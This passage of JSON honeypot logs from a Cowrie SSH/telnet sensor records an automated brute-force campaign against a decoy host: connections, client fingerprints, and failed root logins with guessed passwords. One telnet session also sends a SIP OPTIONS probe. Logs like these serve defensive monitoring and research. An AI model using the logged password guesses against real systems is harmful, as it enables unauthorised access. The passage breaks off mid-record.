{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58480,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f509a184e78","protocol":"ssh","message":"New connection: 60.165.124.241:58480 (10.17.0.5:22) [session: 8f509a184e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.293533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.298679Z","src_ip":"60.165.124.241","session":"8f509a184e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.556575Z","src_ip":"60.165.124.241","session":"8f509a184e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.007212162017822,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.763070Z","src_ip":"198.58.117.211","session":"7756e76071a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":56298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7aff30ac721","protocol":"telnet","message":"New connection: 198.58.117.211:56298 (10.17.0.5:23) [session: d7aff30ac721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:32.803134Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789aA","message":"login attempt [root/123456789aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:33.317771Z","src_ip":"60.165.124.241","session":"8f509a184e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:33.348761Z","src_ip":"168.167.228.74","session":"010ac3ca1a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:35.161105Z","src_ip":"60.165.124.241","session":"8f509a184e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33650,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8c0ce7add16","protocol":"ssh","message":"New connection: 60.165.124.241:33650 (10.17.0.5:22) [session: c8c0ce7add16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:35.413327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:35.417413Z","src_ip":"60.165.124.241","session":"c8c0ce7add16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:35.670131Z","src_ip":"60.165.124.241","session":"c8c0ce7add16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.0050578117370605,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.808082Z","src_ip":"198.58.117.211","session":"d7aff30ac721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":37192,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3e69fe7010","protocol":"telnet","message":"New connection: 198.58.117.211:37192 (10.17.0.5:23) [session: df3e69fe7010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.853905Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS sip:nm SIP/2.0","password":"Via: SIP/2.0/TCP nm;branch=foo","message":"login attempt [OPTIONS sip:nm SIP/2.0/Via: SIP/2.0/TCP nm;branch=foo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.860013Z","src_ip":"198.58.117.211","session":"df3e69fe7010","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"From: <sip:nm@nm>;tag=root","password":"To: <sip:nm2@nm2>","message":"login attempt [From: <sip:nm@nm>;tag=root/To: <sip:nm2@nm2>] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.864046Z","src_ip":"198.58.117.211","session":"df3e69fe7010","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Call-ID: 50000","password":"CSeq: 42 OPTIONS","message":"login attempt [Call-ID: 50000/CSeq: 42 OPTIONS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.868199Z","src_ip":"198.58.117.211","session":"df3e69fe7010","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Max-Forwards: 70","password":"Content-Length: 0","message":"login attempt [Max-Forwards: 70/Content-Length: 0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.871963Z","src_ip":"198.58.117.211","session":"df3e69fe7010","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Contact: <sip:nm@nm>","password":"Accept: application/sdp","message":"login attempt [Contact: <sip:nm@nm>/Accept: application/sdp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.875777Z","src_ip":"198.58.117.211","session":"df3e69fe7010","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:37.913193Z","src_ip":"60.165.124.241","session":"c8c0ce7add16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:39.169498Z","src_ip":"60.165.124.241","session":"c8c0ce7add16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38342,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d55e8afeb6","protocol":"ssh","message":"New connection: 60.165.124.241:38342 (10.17.0.5:22) [session: 68d55e8afeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:40.416292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:40.421141Z","src_ip":"60.165.124.241","session":"68d55e8afeb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:40.672575Z","src_ip":"60.165.124.241","session":"68d55e8afeb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2023","message":"login attempt [root/Admin@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:41.431088Z","src_ip":"60.165.124.241","session":"68d55e8afeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:43.288814Z","src_ip":"60.165.124.241","session":"68d55e8afeb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42910,"dst_ip":"10.17.0.5","dst_port":22,"session":"769bd7dfd812","protocol":"ssh","message":"New connection: 60.165.124.241:42910 (10.17.0.5:22) [session: 769bd7dfd812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:43.537499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:43.542081Z","src_ip":"60.165.124.241","session":"769bd7dfd812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:43.794034Z","src_ip":"60.165.124.241","session":"769bd7dfd812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.506540060043335,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:45.360332Z","src_ip":"198.58.117.211","session":"df3e69fe7010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":48736,"dst_ip":"10.17.0.5","dst_port":23,"session":"7775c277b7e3","protocol":"telnet","message":"New connection: 198.58.117.211:48736 (10.17.0.5:23) [session: 7775c277b7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:45.398026Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme1","message":"login attempt [root/Changeme1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:46.041071Z","src_ip":"60.165.124.241","session":"769bd7dfd812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:47.298004Z","src_ip":"60.165.124.241","session":"769bd7dfd812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47372,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cd5d1175f49","protocol":"ssh","message":"New connection: 60.165.124.241:47372 (10.17.0.5:22) [session: 0cd5d1175f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:48.552889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:48.557420Z","src_ip":"60.165.124.241","session":"0cd5d1175f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:48.809279Z","src_ip":"60.165.124.241","session":"0cd5d1175f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wx123456","message":"login attempt [root/Wx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:49.585472Z","src_ip":"60.165.124.241","session":"0cd5d1175f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005385875701904,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:50.403295Z","src_ip":"198.58.117.211","session":"7775c277b7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":48790,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeeb018eb8bb","protocol":"telnet","message":"New connection: 198.58.117.211:48790 (10.17.0.5:23) [session: eeeb018eb8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:50.445441Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:50.842692Z","src_ip":"60.165.124.241","session":"0cd5d1175f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51610,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a35afffe941","protocol":"ssh","message":"New connection: 60.165.124.241:51610 (10.17.0.5:22) [session: 4a35afffe941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:52.113877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:52.121029Z","src_ip":"60.165.124.241","session":"4a35afffe941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:52.389078Z","src_ip":"60.165.124.241","session":"4a35afffe941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567u","message":"login attempt [root/1234567u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:53.905435Z","src_ip":"60.165.124.241","session":"4a35afffe941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005115747451782,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:55.450432Z","src_ip":"198.58.117.211","session":"eeeb018eb8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":41608,"dst_ip":"10.17.0.5","dst_port":23,"session":"9344bb69bd2d","protocol":"telnet","message":"New connection: 198.58.117.211:41608 (10.17.0.5:23) [session: 9344bb69bd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:55.492048Z"}
{"eventid":"cowrie.session.closed","duration":0.00480961799621582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:55.496723Z","src_ip":"198.58.117.211","session":"9344bb69bd2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba4430c7475","protocol":"telnet","message":"New connection: 198.58.117.211:41632 (10.17.0.5:23) [session: aba4430c7475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:55.580857Z"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:56.451668Z","src_ip":"60.165.124.241","session":"4a35afffe941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57840,"dst_ip":"10.17.0.5","dst_port":22,"session":"a22acb02de80","protocol":"ssh","message":"New connection: 60.165.124.241:57840 (10.17.0.5:22) [session: a22acb02de80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:56.692407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:56.699110Z","src_ip":"60.165.124.241","session":"a22acb02de80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 